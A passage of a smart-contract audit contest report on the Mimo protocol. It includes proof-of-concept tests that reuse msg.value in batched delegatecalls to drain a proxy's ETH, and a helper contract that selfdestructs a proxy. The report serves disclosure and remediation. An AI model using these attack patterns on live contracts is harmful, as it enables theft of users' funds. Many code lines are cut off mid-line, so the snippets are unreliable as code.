gzeoneth (judge) commented:

> Not a duplicate due to griefing by minGasReserve.

horsefacts (warden) reviewed mitigation:

> **Status:** ✅ Resolved

> **Finding:** Wardens identified that users could lose access to their `MIMOProxy` by setting a high minimum gas reserve using `delegatecall`.

> **What changed:** The minimum gas reserve by proxy address is now stored in the `_proxyStates` mapping in `MIMOProxyFactory`. The proxy owner may update the minimum gas reserve value for their proxy by calling the `setMinGas` function. This behavior is demonstrated by a unit test here. Only the owner may call `setMinGas`. Authorization behavior is demonstrated by a unit test here.

> **Why it works:** Since `minGasReserve` is no longer stored in `MIMOProxy` storage, it cannot be manipulated as described in the original finding.

[M-04] Persisted msg.value in a loop of delegate calls can be used to drain ETH from your proxy

Submitted by peritoflores, also found by 8olidity and vlad_bochok

`msg.value` in a loop can be used to drain proxy funds.

Proof of Concept

While `BoringBatchable` is out of the scope, this bug affects seriously `MIMOProxy` as it inherits.

Some time ago I read a report about an auditor called *samczsun* (https://samczsun.com/two-rights-might-make-a-wrong/). I believe that you are having the same problem here.

I will try to explain it as brief as possible but I can add a PoC in QA stage if required.

First step: Draining ETH

This vulnerability comes from the fact that `msg.value` and `msg.sender` are persisted in `delegatecall`.

It is possible to call `execute()` (which is payable) from `batch()` (which is also payable) because both are public functions. (For now ignore the fact that `execute()` has access control).

The attacker would call `batch()` sending, for example, 1 ETH with an array of 100 equal items that call `execute()`

This `execute()` will call and external contract 100 times and in every time it will send 1ETH from proxy funds (not from the attacker).

If the receiving contract stores these value then the proxy wallet will be drained.

Second step: Access control bypass scenario

While this is already a high risk and there should be many attacking scenarios I would like to show you a pretty simple one.

Suppose the owner would like to grant access to a target with a normal function (maybe no even `payable`).

For example suppose that the owner grant access to the function

```
function goodFunction() public
```

This function has the selector `0x0d092393`. However, for some reason. the owner mistyped the selector and grant access to non existing function `0x0d09392`.

Then if the target contract has the so common function.

```
fallback() external payable {   }
```

Then the attacker can drain wallet funds using this selector as I explained above.

Recommended Mitigation Steps

The solution is pretty straightforward.

Remove `payable` from `batch()` in `BoringBatchable`.

horsefacts (warden) commented:

> Agree this is possible. I would note that there is a **big warning** at the top of `BoringBatchable` that links this very blog post.

RayXpub (Mimo) commented:

> We are not modifying any state in the `MimoProxy` based on msg.value, so this doesn't apply here. Please refer to our test case **here**.

peritoflores (warden) commented:

> Hi @RayXpub . I found that there is an error in the test case that you mentioned. The test is passing because the contract has no ETH and you call batch with false parameter.

> The second delegatecall is reverting. However, by design delegatecall will not revert the main transaction and instead will return false that is ignored in this case.

> To show you this I have created a PoC with a few modification to your original test. I just send ETH before and then compared that the amount deposited was double.

```
it("PoC: should be able to reuse msg.value for multiple deposits
const { mimoProxy, vaultActions, vaultsDataProvider, wmatic } =

//Send ETH to the proxy RECEIVE EXTERNAL PAYABLE
const [owner] = await ethers.getSigners();
owner.sendTransaction({ to: mimoProxy.address, value: DEPOSIT_AM
```

```
await mimoProxy.execute(vaultActions.address, vaultActions.inter
  value: DEPOSIT_AMOUNT,
});
const vaultIdBefore = await vaultsDataProvider.vaultId(wmatic.ac
const vaultBalanceBefore = await vaultsDataProvider.vaultCollate
const data = vaultActions.interface.encodeFunctionData("depositE
mimoProxy.batch(
  [
    mimoProxy.interface.encodeFunctionData("execute", [vaultActi
    mimoProxy.interface.encodeFunctionData("execute", [vaultActi
  ],
  true,
  { value: DEPOSIT_AMOUNT },
);
const vaultId = await vaultsDataProvider.vaultId(wmatic.address,
const vaultBalanceAfter = await vaultsDataProvider.vaultCollater
expect(vaultBalanceAfter).to.be.equal(vaultBalanceBefore.add(DEI
);
```

RayXpub (Mimo) disagreed with severity and commented:

> Hi @peritoflores ,
>
> Thanks for providing a PoC. It seems we misunderstood the issue as we were looking at it in the context of the miso platform vulnerability described in the paradigm article where it is our understanding that the issue was a `msg.value` reliant state update. Here ETH are actually transferred in each call. However, for an attacker to be able to call `execute()` he would need to have been granted permission, so that would rely an approval made by the `MIMOProxy` owner.
>
> In the case of the fallback function this would require the owner making a mistake while granting permission by entering an erroneous selector and the target contract would need to have a fallback.
>
> As we do not see any scenario where this issue would work without a user mistake we consider that this should be labeled as medium risk. But we are considering making all the `MIMOProxy` functions non payable, this is still being discussed.
>
> Btw the PoC provided is missing an `await` on the `owner.sendTransaction` line which ends up not really showcasing the issue but we did manage to reproduce the scenario.

gzeoneth (judge) decreased severity to Medium and commented:

> Agree this is not High Risk due to the requirement of owner privilege.

horsefacts (warden) reviewed mitigation:

> **Status:** 👍 Acknowledged

> **Finding:** Wardens identified that calling `payable` functions via `BoringBatchable#batch` could lead to double spends or reuse of `msg.value`.

> **What changed:** The Mimo team have acknowledged the risk of `payable` calls to `BoringBatchable#batch`.

> **Acknowledgment:**

> In no normal usage of the `MIMOProxy` should there ever be ETH stuck in the contract.
> In the future, we might need `batch` to be `payable`. For example, our main protocol supports calls such as `depositETH` and `depositETHAndBorrow`, which we do want to work with the `MIMOProxy`.

[M-05] MIMOManagedRebalance.sol#rebalance calculates managerFee incorrectly

Submitted by 0x52

Inconsistent manager fees could lead to lack of incentivization to rebalance and unexpected liquidation.

Proof of Concept

```
uint256 managerFee = managedVault.fixedFee + flData.amount.wadMu

IERC20(a.stablex()).safeTransfer(managedVault.manager, managerFe
```

The variable portion of the fee is calculated using the amount of the flashloan but pays out in PAR. This is problematic because the value of the flashloan asset is constantly fluctuating in value against PAR. This results in an unpredictable fee for both the user and the manager. If the asset drops in price then the user will pay more than they intended. If the asset increases in price then the fee may not be enough to incentivize the manager to call them. The purpose of the managed rebalance is to limit user interaction. If the manager isn't incentivized to call the vault then the user may be unexpectedly liquidated, resulting in loss of user funds.

Recommended Mitigation Steps

varFee should be calculated against the PAR of the rebalance like it is in MIMOAutoRebalance.sol:

```
IPriceFeed priceFeed = a.priceFeed();
address fromCollateral = vaultsData.vaultCollateralType(rbData.v

uint256 rebalanceValue = priceFeed.convertFrom(fromCollateral, f
uint256 managerFee = managedVault.fixedFee + rebalanceValue.wadM
```

RayXpub (Mimo) confirmed and commented:

> We acknowledge this issue and intend to fix it.

horsefacts (warden) reviewed mitigation:

> **Status:** ✅ Resolved

> **Finding:** A warden identified that the variable portion of manager fees in `MIMOManagedRebalance` was calculated incorrectly, based on the amount of the rebalance flash loan denominated in the collateral asset rather than the amount of the rebalance denominated in PAR.

> **What changed:** The Mimo team updated the fee calculation to calculate the rebalance amount in PAR using a price feed.

> **Why it works:** Since the rebalance amount is now denominated in PAR, it no longer fluctuates in terms of the collateral asset.

[M-06] ProxyFactory can circumvent ProxyRegistry

Submitted by 0xDjango

The `deployFor()` function in `MIMOProxyFactory.sol` can be called directly instead of being called within `MIMOProxyRegistry.sol`. This results in the ability to create many MIMOProxies that are not registered within the registry. The proxies deployed directly through the factory will lack the ability to call certain actions such as leveraging and emptying the vault, but will be able to call all functions in `MIMOVaultAction.sol`.

This inconsistency doesn't feel natural and would be remedied by adding an `onlyRegistry` modifier to the `ProxyFactory.deployFor()` function.

Proof of Concept

`MIMOProxyFactory.deployFor()` lacking any access control:

```
    function deployFor(address owner) public override returns (IMI
      proxy = IMIMOProxy(mimoProxyBase.clone());
      proxy.initialize();

      // Transfer the ownership from this factory contract to the
      proxy.transferOwnership(owner);

      // Mark the proxy as deployed.
      _proxies[address(proxy)] = true;

      // Log the proxy via en event.
      emit DeployProxy(msg.sender, owner, address(proxy));
    }
  }
```

Example of reduced functionality: `MIMOEmptyVault.executeOperation()` checks proxy existence in the proxy registry therefore can't be called.

```
    function executeOperation(
      address[] calldata assets,
      uint256[] calldata amounts,
      uint256[] calldata premiums,
      address initiator,
      bytes calldata params
    ) external override returns (bool) {
      (address owner, uint256 vaultId, SwapData memory swapData) =
      IMIMOProxy mimoProxy = IMIMOProxy(proxyRegistry.getCurrentPr
```

Recommended Mitigation Steps

Adding access control to ensure that the factory deployFor function is called from the proxy registry would mitigate this issue.

RnkSngh (Mimo) confirmed and commented:

> We confirm this is an issue and intend to implement a fix.

horsefacts (warden) reviewed mitigation:

> **Status:** ✅ Resolved

> **Finding:** Wardens identified that proxies could be deployed directly from the `MIMOProxyFactory` without being registered with the `MIMOProxyRegistry`.

> **What changed:** The `ProxyRegistry` contract has been removed, and registration functionality is now included in `MIMOProxyFactory`.
> The only mechanism for deploying a proxy is now to call `MIMOProxyFactory#deploy`.

> **Why it works:** Since there is only one code path to deploy a `MIMOProxy` and `MIMOProxyFactory` is the single source of truth for proxy registration, it is no longer possible to deploy an unregistered proxy as described in the finding.

[M-07] `vaultOwner` Can Front-Run `rebalance()` With `setAutomation()` To Lower Incentives

Submitted by 0xNazgul

https://github.com/code-423n4/2022-08-mimo/blob/main/contracts/actions/automated/MIMOAutoAction.sol#L32

https://github.com/code-423n4/2022-08-mimo/blob/main/contracts/actions/automated/MIMOAutoRebalance.sol#L54

Impact

A `vaultOwner` who is "not confident enough in ourselves to stay up-to-date with market conditions to know when we should move to less volatile collateral to avoid liquidations." They can open their vault to other users who pay attention to the markets and would call `rebalance` to receive the incentivized fees. The `vaultOwner` who doesn't want to pay the baiting high fees instead front-runs the `autoRebalance()` with `setAutomation()` to lower incentives.

Proof of Concept

1. Mallory, a `vaultOwner` isn't confident in staying up-to-date with market conditions. She has her vault setup to be automated and has high fee incentives.
2. Alice, a user who is confident in staying up-to-date with market conditions see's a profitable opportunity and calls `rebalance()`.
3. Mallory is confident in her programing and watching mempools for when `rebalance()` is called. See's that Alice just called `rebalance()` and calls `setAutomation()` to lower the incentives.
4. Alice's call to `rebalance()` then goes through getting lower incentives and Mallory then calls `setAutomation()` to set the incentives back to normal.

Recommended Mitigation Steps

Add a time-lock to `setAutomation` so that the `vaultOwner` can't front-run users.

RnkSngh (Mimo) confirmed and commented:

> We confirm that this is an issue and intend to implement a fix.

horsefacts (warden) reviewed mitigation:

> **Status:** 👍 Acknowledged

> **Finding:** A warden identified that a malicious vault owner could frontrun automated calls to `MIMOAutoRebalance#rebalance` and reconfigure their automated vault with a reduced incentive fee.

> **What changed:** The Mimo team have acknowledged the finding.

> **Acknowledgement:**

> We've decided against fixing this in the end.
> The only potential loser is a keeper/automator that gets frontrun and does not get the reward they thought they would get and thus paid a gas fee that was not covered by the reward. We feel keepers are advanced enough to hide their txs from the mempool and that they're also smart enough to let the tx revert if it does not yield a profit. For legit users of the protocol this has no impact whatsoever IMO.
> We also feel a timelock wouldn't have been enough of a mitigation and might hurt legitimate use of the protocol.

[M-08] If a MIMOProxy owner destroys their proxy, they cannot deploy another from the same address

Submitted by horsefacts

When deploying a new `MIMOProxy`, the `MIMOProxyRegistry` first checks whether a proxy exists with the same owner for the given address. If an existing proxy is found, the deployment reverts:

`MIMOProxyRegistry#deployFor`

```
function deployFor(address owner) public override returns (IMI
  IMIMOProxy currentProxy = _currentProxies[owner];
```

```
        // Do not deploy if the proxy already exists and the owner i
        if (address(currentProxy) != address(0) && currentProxy.owne
          revert CustomErrors.PROXY_ALREADY_EXISTS(owner);
        }

        // Deploy the proxy via the factory.
        proxy = factory.deployFor(owner);

        // Set or override the current proxy for the owner.
        _currentProxies[owner] = IMIMOProxy(proxy);
      }
    }
```

However, if a `MIMOProxy` owner intentionally or accidentally destroys their proxy by `delegatecall`ing a target that calls `selfdestruct`, the address of their destroyed proxy will remain in the `_currentProxies` mapping, but the static call to `currentProxy.owner()` on L49 will revert. The caller will be blocked from deploying a new proxy from the same address that created their original ̀MIMOProxy.

Impact

If a user accidentally destroys their MIMOProxy, they must use a new EOA address to deploy another.

Recommended Mitigation Steps

Check whether the proxy has been destroyed as part of the “proxy already exists” conditions. If the proxy address has a codesize of zero, it has been destroyed:

```
        // Do not deploy if the proxy already exists and the owner i
        if (address(currentProxy) != address(0) && currentProxy.code
          revert CustomErrors.PROXY_ALREADY_EXISTS(owner);
        }
```

Test cases

We’ll use this `ProxyAttacks` helper contract to manipulate proxy storage. Note that it has the same storage layout as `MIMOProxy`.

```
contract ProxyAttacks {

   address public owner;
   uint256 public minGasReserve;
   mapping(address => mapping(address => mapping(bytes4 => bool)

   // Selector 0x9cb8a26a
   function selfDestruct() external {
     selfdestruct(payable(address(0)));
   }
}
```

Then deploy the `ProxyAttacks` helper in a test environment and use `MIMOProxy` to `delegatecall` into it:

```
import chai, { expect } from 'chai';
import { solidity } from 'ethereum-waffle';
import { deployments, ethers } from 'hardhat';

import { MIMOProxy, MIMOProxyFactory, MIMOProxyRegistry, ProxyAt

chai.use(solidity);

const setup = deployments.createFixture(async () => {
  const { deploy } = deployments;
  const [owner, attacker] = await ethers.getSigners();

  await deploy("MIMOProxy", {
    from: owner.address,
    args: [],
  });
  const mimoProxyBase: MIMOProxy = await ethers.getContract("MIM

  await deploy("MIMOProxyFactory", {
    from: owner.address,
    args: [mimoProxyBase.address],
  });
  const mimoProxyFactory: MIMOProxyFactory = await ethers.getCor

  await deploy("MIMOProxyRegistry", {
    from: owner.address,
    args: [mimoProxyFactory.address],
  });
```

```
    const mimoProxyRegistry: MIMOProxyRegistry = await ethers.getC

    await deploy("ProxyAttacks", {
      from: owner.address,
      args: [],
    });
    const proxyAttacks: ProxyAttacks = await ethers.getContract("P

    return {
      owner,
      attacker,
      mimoProxyBase,
      mimoProxyFactory,
      mimoProxyRegistry,
      proxyAttacks,
    };
  });

  describe("Proxy attack tests", () => {
    it("Proxy instance self destruct + recreation", async () => {
      const { owner, mimoProxyRegistry, proxyAttacks } = await set
      await mimoProxyRegistry.deploy();
      const currentProxy = await mimoProxyRegistry.getCurrentProxy
      const proxy = await ethers.getContractAt("MIMOProxy", currer

      // Delegatecall to selfDestruct on ProxyAttacks contract
      await proxy.execute(proxyAttacks.address, "0x9cb8a26a");

      // Owner's existing proxy is destroyed
      expect(proxy.owner()).to.be.revertedWith("call revert except

      // Cannot deploy another proxy for this address through the
      await expect(mimoProxyRegistry.deploy()).to.be.revertedWith
    });
  });
```

[RayXpub (Mimo) confirmed and commented]:

> We confirm this issue and intend to implement a fix.

horsefacts (warden) reviewed mitigation:

> **Status:** ✅ Resolved

> **Finding:** A warden identified that if a `MIMOProxy` owner destroys their proxy by calling selfdestruct, they cannot deploy another from the same address.

> **What changed:** The Mimo team added a check for the current proxy's codesize in `MIMOProxyFactory#deploy`. If the proxy has been destroyed it is will be deleted from the `_proxyStates` mapping and a new proxy can be deployed. A unit test demonstrates this behavior.

> **Why it works:** Since a proxy's codesize will be zero when it has been destroyed, and cannot be zero otherwise, this check will allow the owner of a destroyed proxy to deploy another.

Low Risk and Non-Critical Issues

For this contest, 50 reports were submitted by wardens detailing low risk and non-critical issues. The report highlighted below by IIIIIII received the top score from the judge.

The following wardens also submitted reports: Dravee, mics, 0xDjango, JohnSmith, rbserver, 0xNazgul, Rolezn, Bnke0x0, oyc_109, horsefacts, Deivitto, hyh, bobirichman, ak1, CodingNameKiki, ReyAdmirado, fatherOfBlocks, sikorico, durianSausage, gogo, 0x1f8b, simon135, delfin454000, Sm4rty, bulej93, TomJ, Waze, c3phas, natzuu, Funen, Rohan16, brgltd, JC, samruna, TomFrenchBlockchain, 8olidity, bin2chen, tofunmi, nxrblsrpr, NoamYakov, erictee, _141345_, ladboy233, ajtra, 0xc0ffEE, SooYa, Chom, wagmi, *and* aysha.

Low Risk Issues

	Issue	Instances
L-01	Use of `msg.value` in functions available to batches	1
L-02	Unused/empty `receive()` / `fallback()` function	1
L-03	Missing checks for `address(0x0)` when assigning values to `address` state variables	2

Total: 4 instances over 3 issues

[L-01] Use of `msg.value` in functions available to batches

The contract extends `BoringBatchable`, which warns to ensure `msg.value` isn't able to be used in a batchable call. `MIMOVaultActions.depositETH()` and `MIMOVaultActions.depositETHAndBorrow()` both use `msg.value` but aren't currently exploitable due to the fact that it has to be executed by the owner or an envoy, needs to be allow-listed, and even then the functions would require latent funds.

There is 1 instance of this issue:

```
File: /contracts/proxy/MIMOProxy.sol

54:     function execute(address target, bytes calldata data) puk
```

https://github.com/code-423n4/2022-08-mimo/blob/eb1a5016b69f72bc1e4fd3600a65e908bd228f13/contracts/proxy/MIMOProxy.sol#L54

[L-02] Unused/empty `receive()` / `fallback()` function

If the intention is for the Ether to be used, the function should call another function, otherwise it should revert (e.g. `require(msg.sender == address(weth))`)

There is 1 instance of this issue:

```
File: contracts/proxy/MIMOProxy.sol

38:     receive() external payable {}
```

https://github.com/code-423n4/2022-08-mimo/blob/eb1a5016b69f72bc1e4fd3600a65e908bd228f13/contracts/proxy/MIMOProxy.sol#L38

[L-03] Missing checks for `address(0x0)` when assigning values to `address` state variables

There are 2 instances of this issue. (For in-depth details on this and all further low and non-critical items with multiple instances, see the warden's full report.)

Non-Critical Issues

	Issue	Instances
N-01	Missing `initializer` modifier on constructor	1
N-02	`override` function arguments that are unused should have the variable name removed or commented out to avoid compiler warnings	5
N-03	`constant` s should be defined rather than using magic numbers	2
N-04	Use a more recent version of solidity	11
N-05	Constant redefined elsewhere	7
N-06	Lines are too long	1
N-07	Typos	12
N-08	File is missing NatSpec	11
N-09	NatSpec is incomplete	23
N-10	Event is missing `indexed` fields	5
N-11	Not using the named return variables anywhere in the function is confusing	3

Total: 81 instances over 11 issues

[N-01] Missing `initializer` modifier on constructor

OpenZeppelin [recommends] that the `initializer` modifier be applied to constructors in order to avoid potential griefs, [social engineering], or exploits. Ensure that the modifier is applied to the implementation contract. If the default constructor is currently being used, it should be changed to be an explicit one with the modifier applied.

There is 1 instance of this issue:

```
File: contracts/proxy/MIMOProxy.sol

12:   contract MIMOProxy is IMIMOProxy, Initializable, BoringBat
```

https://github.com/code-423n4/2022-08-mimo/blob/eb1a5016b69f72bc1e4fd3600a65e908bd228f13/contracts/proxy/MIMOProxy.sol#L12

[N-02] `override` function arguments that are unused should have the variable name removed or commented out to avoid compiler warnings

There are 5 instances of this issue:

```
File: contracts/actions/MIMOFlashloan.sol

39:       address[] calldata assets,

40:       uint256[] calldata amounts,

41:       uint256[] calldata premiums,

42:       address initiator,

43:       bytes calldata params
```

https://github.com/code-423n4/2022-08-mimo/blob/eb1a5016b69f72bc1e4fd3600a65e908bd228f13/contracts/actions/MIMOFlashloan.sol#L39

[N-03] `constant`s should be defined rather than using magic numbers

Even assembly can benefit from using readable constants instead of hex/numeric literals

There are 2 instances of this issue:

```
File: contracts/actions/automated/MIMOAutoRebalance.sol

/// @audit 1e15
180:       uint256 targetRatio = autoVault.targetRatio + 1e15; //
```

https://github.com/code-423n4/2022-08-mimo/blob/eb1a5016b69f72bc1e4fd3600a65e908bd228f13/contracts/actions/automated/MIMOAutoRebalance.sol#L180

```
File: contracts/proxy/MIMOProxy.sol

/// @audit 5_000
30:        minGasReserve = 5_000;
```

https://github.com/code-423n4/2022-08-mimo/blob/eb1a5016b69f72bc1e4fd3600a65e908bd228f13/contracts/proxy/MIMOProxy.sol#L30

[N-04] Use a more recent version of solidity

Use a solidity version of at least 0.8.13 to get the ability to use `using for` with a list of free functions

There are 11 instances of this issue.

[N-05] Constant redefined elsewhere

Consider defining in only one contract so that values cannot become out of sync when only one location is updated. A cheap way to store constants in a single

location is to create an `internal constant` in a `library`. If the variable is a local cache of another contract's value, consider making the cache variable internal or private, which will require external users to query the contract with the source of truth, so that callers don't get out of sync.

There are 7 instances of this issue.

[N-06] Lines are too long

Usually lines in source code are limited to 80 characters. Today's screens are much larger so it's reasonable to stretch this in some cases. Since the files will most likely reside in GitHub, and GitHub starts using a scroll bar in all cases when the length is over 164 characters, the lines below should be split when they reach that length

There is 1 instance of this issue:

```
File: contracts/actions/managed/MIMOManagedRebalance.sol

14:   @notice This contract only serves to change the access cor
```

https://github.com/code-423n4/2022-08-mimo/blob/eb1a5016b69f72bc1e4fd3600a65e908bd228f13/contracts/actions/managed/MIMOManagedRebalance.sol#L14

[N-07] Typos

There are 12 instances of this issue.

[N-08] File is missing NatSpec

There are 11 instances of this issue.

[N-09] NatSpec is incomplete

There are 23 instances of this issue.

[N-10] Event is missing `indexed` fields

Index event fields make the field more quickly accessible to off-chain tools that parse events. However, note that each index field costs extra gas during emission, so it's not necessarily best to index the maximum allowed per event (threefields). Each `event` should use three `indexed` fields if there are three or more fields, and gas usage is not particularly of concern for the events in question. If there are fewer than three fields, all of the fields should be indexed.

There are 5 instances of this issue.

[N-11] Not using the named return variables anywhere in the function is confusing

Consider changing the variable to be an unnamed one

There are 3 instances of this issue:

```
File: contracts/actions/automated/MIMOAutoRebalance.sol

/// @audit rebalanceAmount
/// @audit mintAmount
/// @audit autoFee
142     function getAmounts(uint256 vaultId, address toCollatera
143       external
144       view
145       override
146       returns (
147         uint256 rebalanceAmount,
148         uint256 mintAmount,
149:        uint256 autoFee
```

https://github.com/code-423n4/2022-08-mimo/blob/eb1a5016b69f72bc1e4fd3600a65e908bd228f13/contracts/actions/automated/MIMOAutoRebalance.sol#L142-L149

m19 (Mimo) commented:

> This is an outstanding QA report.

Gas Optimizations

For this contest, 40 reports were submitted by wardens detailing gas optimizations. The report highlighted below by **Dravee** received the top score from the judge.

The following wardens also submitted reports: IIIIIII, oyc_109, JohnSmith, JC, ajtra, NoamYakov, TomJ, 0x1f8b, fatherOfBlocks, jag, gogo, joestakey, ReyAdmirado, Rolezn, Bnke0x0, bobirichman, mics, 0xDjango, rbserver, 0xSmartContract, ignacio, sikorico, durianSausage, Waze, simon135, ladboy233, c3phas, 0xc0ffEE, 0xNazgul, Funen, Chom, brgltd, Deivitto, samruna, CodingNameKiki, bearonbike, Aymen0909, Fitraldys, *and* 0x040.

Table of Contents

- G-01. Caching storage values in memory
- G-02. Multiple accesses of a mapping/array should use a local variable cache
- G-03. Use of the `memory` keyword when `storage` should be used
- G-04. Unnecessary memory operations with an `immutable` variable
- G-05. The result of a function call should be cached rather than re-calling the function
- G-06. Unchecking arithmetics operations that can't underflow/overflow
- G-07. `<array>.length` should not be looked up in every loop of a `for-loop`
- G-08. `++i` costs less gas compared to `i++` or `i += 1` (same for `--i` vs `i--` or `i -= 1`)
- G-09. Increments/decrements can be unchecked in for-loops
- G-10. It costs more gas to initialize variables with their default value than letting the default value be applied
- G-11. Upgrade pragma
- G-12. Optimizations with assembly
    - 12.1. Use assembly for math (add, sub, mul, div)
    - 12.2. Use assembly to check for address(0)
    - 12.3. Use assembly to write storage values

- G-13. Use Custom Errors instead of Revert Strings to save Gas

[G-01] Caching storage values in memory

The code can be optimized by minimizing the number of SLOADs.

SLOADs are expensive (100 gas after the 1st one) compared to MLOADs/MSTOREs (3 gas each). Storage values read multiple times should instead be cached in memory the first time (costing 1 SLOAD) and then read from this cache to avoid multiple SLOADs.

- contracts/actions/MIMOEmptyVault.sol:

```
76:     if (msg.sender != address(lendingPool)) { //@audit gas
77:       revert CustomErrors.CALLER_NOT_LENDING_POOL(msg.senc
98:     vaultCollateral.safeIncreaseAllowance(address(lendingP
```

- contracts/actions/MIMOLeverage.sol:

```
 81:     if (msg.sender != address(lendingPool)) { //@audit ga
 82:       revert CustomErrors.CALLER_NOT_LENDING_POOL(msg.ser
100:     asset.safeIncreaseAllowance(address(lendingPool), fla
```

- contracts/actions/MIMORebalance.sol:

```
 79:     if (msg.sender != address(lendingPool)) { //@audit ga
 80:       revert CustomErrors.CALLER_NOT_LENDING_POOL(msg.ser
101:     fromCollateral.safeIncreaseAllowance(address(lendingP
```

- contracts/actions/automated/MIMOAutoRebalance.sol:

```
107:     if (msg.sender != address(lendingPool)) { //@audit ga
108:       revert CustomErrors.CALLER_NOT_LENDING_POOL(msg.ser
129:     fromCollateral.safeIncreaseAllowance(address(lendingP
```

- contracts/actions/managed/MIMOManagedRebalance.sol:

```
108:     if (msg.sender != address(lendingPool)) { //@audit ga
109:       revert CustomErrors.CALLER_NOT_LENDING_POOL(msg.ser
130:     fromCollateral.safeIncreaseAllowance(address(lendingP
```

- contracts/proxy/MIMOProxy.sol:

```
56:     if (owner != msg.sender) { //@audit gas: SLOAD (owner)
62:         revert CustomErrors.EXECUTION_NOT_AUTHORIZED(owner
72:     address owner_ = owner; //@audit gas: SLOAD (owner)
82:     if (owner_ != owner) { //@audit gas: SLOAD (owner)
83:       revert CustomErrors.OWNER_CHANGED(owner_, owner); //
```

[G-02] Multiple accesses of a mapping/array should use a local variable cache

Caching a mapping's value in a local `storage` or `calldata` variable when the value is accessed multiple times saves **~42 gas per access** due to not having to perform the same offset calculation every time.

Affected code:

- `MIMOEmptyVault.sol#executeOperation() : amounts[0]`

```
File: MIMOEmptyVault.sol
63:   function executeOperation(
64:     address[] calldata assets,
65:     uint256[] calldata amounts,
...
81:     uint256 amount = amounts[0];
82:     vaultCollateral.safeTransfer(address(mimoProxy), amounts
```

- `MIMOLeverage.sol#executeOperation() : amounts[0]`

```
File: MIMOLeverage.sol
```

```
68:   function executeOperation(
69:     address[] calldata assets,
70:     uint256[] calldata amounts,
...
86:     asset.safeTransfer(address(mimoProxy), amounts[0]);
87:     uint256 flashloanRepayAmount = amounts[0] + premiums[0];
```

- MIMORebalance.sol#executeOperation() : amounts[0]

```
File: MIMORebalance.sol
63:   function executeOperation(
64:     address[] calldata assets,
65:     uint256[] calldata amounts,
...
84:     uint256 amount = amounts[0];
85:     fromCollateral.safeTransfer(address(mimoProxy), amounts[
```

- MIMOAutoRebalance.sol#executeOperation() : amounts[0]

```
File: MIMOAutoRebalance.sol
090:   function executeOperation(
091:     address[] calldata assets,
092:     uint256[] calldata amounts,
...
112:     uint256 amount = amounts[0];
113:     fromCollateral.safeTransfer(address(mimoProxy), amounts
114:     uint256 flashloanRepayAmount = amounts[0] + premiums[0]
```

- MIMOManagedRebalance.sol#executeOperation() : amounts[0]

```
File: MIMOManagedRebalance.sol
091:   function executeOperation(
092:     address[] calldata assets,
093:     uint256[] calldata amounts,
...
113:     uint256 amount = amounts[0];
114:     fromCollateral.safeTransfer(address(mimoProxy), amounts
115:     uint256 flashloanRepayAmount = amounts[0] + premiums[0]
```

[G-03] Use of the `memory` keyword when `storage` should be used

When copying a state struct in memory, there are as many SLOADs and MSTOREs as there are slots. When reading the whole struct multiple times is not needed, it's better to actually only read the relevant field(s). When only some of the fields are read several times, these particular values should be cached instead of the whole state struct.

Consider using a `storage` pointer instead of `memory` location here:

```
File: DexAddressProvider.sol
51:   function getDex(uint256 index) external view override retu
- 52:     Dex memory dex = _dexMapping[index];
+ 52:     Dex storage dex = _dexMapping[index];
53:     return (dex.proxy, dex.router);
54:   }
```

[G-04] Unnecessary memory operations with an `immutable` variable

`immutable` variables aren't storage variable, their instances get replaced in the code with their value. This caching operation is unnecessary here:

```
File: MIMOVaultActions.sol
65:   function depositAndBorrow(
66:     IERC20 collateral,
67:     uint256 depositAmount,
68:     uint256 borrowAmount
69:   ) external override {
70:     IVaultsCore core_ = core; //@audit gas: unnecessary MSTO
71:     collateral.safeTransferFrom(msg.sender, address(this), d
72:     collateral.safeIncreaseAllowance(address(core_), deposit
73:     core_.depositAndBorrow(address(collateral), depositAmour
74:   }
```

[G-05] The result of a function call should be cached rather than re-calling the function

External calls are expensive. Consider using the already existing cached value for the following:

```
File: MIMOManagedRebalance.sol
50:   function rebalance(
...
61:     address vaultOwner = vaultsData.vaultOwner(rbData.vault]
...
- 65:     _takeFlashLoan(flData, abi.encode(vaultsData.vaultOwne
+ 65:     _takeFlashLoan(flData, abi.encode(vaultOwner, managerI
```

[G-06] Unchecking arithmetics operations that can't underflow/overflow

Solidity version 0.8+ comes with implicit overflow and underflow checks on unsigned integers. When an overflow or an underflow isn't possible (as an example, when a comparison is made before the arithmetic operation), some gas can be saved by using an `unchecked` block: https://docs.soliditylang.org/en/v0.8.10/control-structures.html#checked-or-unchecked-arithmetic

Consider wrapping with an `unchecked` block here (around **25 gas saved** per instance):

- File: MIMOAutoAction.sol

```
  097:     if (swapResultValue >= rebalanceValue) {
  098:       return true;
  099:     }
  100:
97 101:     uint256 vaultVariation = (rebalanceValue - swapResul
```

- File: MIMOManagedAction.sol

```
120:     if (swapResultValue >= rebalanceValue) {
121:       return true;
122:     }
123:
120 124:     uint256 vaultVariation = (rebalanceValue - swapResu
```

- File: MIMOLeverage.sol

```
132:     if (collateralBalanceAfter > flashloanRepayAmount)
132 133:       token.safeIncreaseAllowance(address(core), collat
```

[G-07] `<array>.length` should not be looked up in every loop of a `for-loop`

Note : This is describing an optimization that the sponsor already chose to ignore, to be thorough: https://github.com/code-423n4/2022-08-mimo/tree/main/docs/#for-loop-syntax

Reading array length at each iteration of the loop consumes more gas than necessary.

In the best case scenario (length read on a memory variable), caching the array length in the stack saves around **3 gas** per iteration. In the worst case scenario (external calls at each iteration), the amount of gas wasted can be massive.

Here, consider storing the array's length in a variable before the for-loop, and use this new variable instead:

```
proxy/MIMOProxy.sol:132:     for (uint256 i = 0; i < targets.leng
```

[G-08] `++i` costs less gas compared to `i++` or `i += 1` (same for `--i` vs `i--` or `i -= 1`)

Pre-increments and pre-decrements are cheaper.

For a `uint256 i` variable, the following is true with the Optimizer enabled at 10k:

Increment:

- `i += 1` is the most expensive form
- `i++` costs 6 gas less than `i += 1`
- `++i` costs 5 gas less than `i++` (11 gas less than `i += 1`)

Decrement:

- `i -= 1` is the most expensive form
- `i--` costs 11 gas less than `i -= 1`
- `--i` costs 5 gas less than `i--` (16 gas less than `i -= 1`)

Note that post-increments (or post-decrements) return the old value before incrementing or decrementing, hence the name *post-increment*:

```
uint i = 1;
uint j = 2;
require(j == i++, "This will be false as i is incremented after
```

However, pre-increments (or pre-decrements) return the new value:

```
uint i = 1;
uint j = 2;
require(j == ++i, "This will be true as i is incremented before
```

In the pre-increment case, the compiler has to create a temporary variable (when used) for returning `1` instead of `2`.

Affected code:

```
proxy/MIMOProxy.sol:132:    for (uint256 i = 0; i < targets.lenc
```

Consider using pre-increments and pre-decrements where they are relevant (meaning: not where post-increments/decrements logic are relevant).

[G-09] Increments/decrements can be unchecked in for-loops

